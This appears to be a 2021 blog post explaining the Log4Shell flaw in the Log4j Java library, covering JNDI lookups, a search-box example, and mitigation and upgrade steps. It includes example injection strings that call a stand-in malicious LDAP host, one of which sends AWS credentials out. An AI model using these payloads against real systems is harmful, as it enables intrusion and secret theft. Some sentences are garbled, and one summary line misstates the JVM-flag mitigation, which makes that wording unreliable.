Log4Shell (Log4j vulnerability)!

@Anil's Notes
4 min readDec 25, 2021

Log4J (the classic Java library) was recently Time magazine. It is insane to see an open-source Java library in mainstream news.

Let’s drill down more details on my understanding of this vulnerability.

What is Log4j?

One of the most famous Java logging libraries. Java developers consume the Log4j library to keep track of what happens in the software applications such as APIs, Backend systems, Services, etc. However, a dark secret was hidden under the surface that has now come to traction from the past couple of weeks, i.e. “any Java application that uses Log4J can be hacked!”

Question: I am using some other Java library to log in and check the source code, and I do not see any Log4j reference. Am I good?

Not really. Log4j is a popular Java logging library, so there is a high probability that it may be used by one of the dependent libraries/frameworks you are using. Did you check your dependent libraries if they use Log4j?

Question: How serious is the Log4j vulnerability?

Log4j vulnerability scores 10/10 CVSS score (The Common Vulnerability Scoring System (CVSS) is android only in the open industry standard for assessing the severity of computer system security vulnerabilities). It isn’t good!

Question: Why is CVSS so high?

The vulnerability exposes something called RCE (Remote code execution) that allows hackers to execute any code on the machine that has the application that uses Log4j.

The vulnerability is nicknamed “Log4Shell” — Any hacker can open a shell in any server and issue commands.

What exactly is the problem with Log4j?

Before understanding the root problem, let us look into some concepts first.

Log4j Log expressions: Log4j allows logging expressions. This is a commonly used approach by developers to log runtime objects values into the log.

final Logger logger = LogManager.getLogger(User.class);
logger.info(“Activity for user {} with birthday {}”, user.getName(), user.getBirthdayCalendar());

The above code is all good, Log4j replaces the expressions with user values i.e. name and birthday.

JNDI (Java naming and directory interface): JNDI provides consistent naming and directory services as a Java API. This interface can be used for binding objects, looking up or querying objects, and detecting changes on the same objects. It is one of the most popular Java core concepts. LDAP (uses JNDI) is a protocol used to query/modify the active directory.

//LDAP URL: 
ldap://testdomain.com/O=foobar, C=US

In 2013, a new feature was added to Log4j that enables JNDI lookups in log messages via expressions (code here), introducing the vulnerability.

Real-world example: let’s assume that there is a search application. Users search by adding their queries in a text field and retrieving answers. The search application uses Java backend and Log4j for logging purposes.

final Logger logger = LogManager.getLogger(SearchService.class);
logger.info(“Inbound query {} ”, searchQuery);
//According to the JNDI look-up feature provided by Log4j, it simply executes expressions including JNDI executions

Lets now think a malicious user may type below as search query

Search term:

${jndi:ldap://evil-ldap-server.com/maliciousobject}

The application may result in “no results” as it doesn’t match anything from a user experience standpoint. However, log4j executes the search term while logging in by connecting to the Malicious LDAP server. Upon execution, the vulnerable JVM app now has malicious objects returned by the malicious server (this can happen n number of times with different code). That is it — the vulnerability!

In the above example, searchTerm is a Query parameter, a malicious input can be injected from HTTP query params, HTTP payload, HTTP headers, etc.

Mitigation

JVM Flags (Not ideal solution): Add JVM Flags to false that helps Log4j understand not to trust any LDAP/RMI URLs deserialization.

-Dcom.sun.jndi.ldap.object.trustURLCodebase=false
-Dcom.sun.jndi.rmi.object.trustURLCodebase=false

The above approach is straightforward and disables the deserialization of object that is returned by a malicious server but doesn’t fix the problem fully, It is still vulnerable as it can still send “environment variables” to the malicious server.

How?

${jndi:ldap://evil-ldap-server.com/${env:AWS_ACCESS_KEY_ID}/${env:AWS_SECRET_ACCESS_KEY}}//The malicious user can still execute the above query and grab the keys at malicious server end

Remediation:

  • Upgrade to new version of Log4j (2.16)

It was recently announced that the 2.16.0 version of Log4j has another vulnerability that could allow malicious users to crash applications using self-referential lookups.

Apache Log4j2 versions 2.0-alpha1 through 2.16.0 (excluding 2.12.3) did not protect from uncontrolled recursion from self-referential lookups. This allows an attacker with control over Thread Context Map data to cause a denial of service when a crafted string is interpreted. This issue was fixed in Log4j 2.17.0 and 2.12.3.

The latest & correct remediation is to upgrade Log4j to 2.17.0.

Summary:

  • Log4j vulnerability was introduced in 2013
  • Vulnerability discovered in 2021
  • Mitigate it by disabling JVM flags
  • Remediate it by upgrading the Log4j library to the 2.17.0 version

References

Free

Distraction-free reading. No ads.

Organize your knowledge with lists and highlights.

Tell your story. Find your audience.

Membership

Read member-only stories

Support writers you read most

Earn money for your writing

Listen to audio narrations

Read offline with the Medium app

@Anil's Notes
@Anil's Notes

Written by @Anil's Notes

Thoughts I add here are my personal notes and learnings only

No responses yet

Write a response